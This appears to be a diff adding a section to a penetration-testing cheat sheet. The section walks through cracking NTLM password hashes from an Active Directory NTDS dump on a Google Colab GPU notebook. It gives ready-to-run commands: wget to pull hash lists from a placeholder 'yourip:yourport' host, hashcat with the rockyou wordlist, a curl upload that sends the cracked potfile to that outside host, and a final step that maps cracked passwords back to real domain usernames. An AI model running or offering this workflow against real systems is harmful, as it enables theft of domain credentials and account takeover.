+
+```ps1
+Go on : https://colab.research.google.com/github/mxrch/penglab/blob/master/penglab.ipynb
+Select "Runtime", "Change runtime type", and set "Hardware accelerator" to GPU.
+Change the config by setting "True" at tools you want to install.
+Select "Runtime" and "Run all" !
+
+
+Workflow example 3 (OPSEC: crack anonymized hashes)
+run the preparation script below
+on your local machine, run hashonymize to anonymize your hash lists
+upload your anon hashes list on the colab !wget http://yourip:yourport/yourfile
+run a hashcat command like this to start cracking !hashcat --status --hash-type 1000 --attack-mode 0 --username DOMAIN.LOCAL.ntds wordlists/rockyou.txt
+recover the .pot file from the Google Colab !curl --upload-file ~/.hashcat/hashcat.potfile http://yourip:yourport/
+on your local machine, run the following hashcat command with the recovered potfile to match real usernames with cracked password hashcat --potfile-path hashcat.potfile --hash-type 1000 --username DOMAIN.LOCAL.ntds wordlists/rockyou.txt
+hashcat -m 1000 --potfile-path ntds.cracked ntds.tocrack --show --username
+```
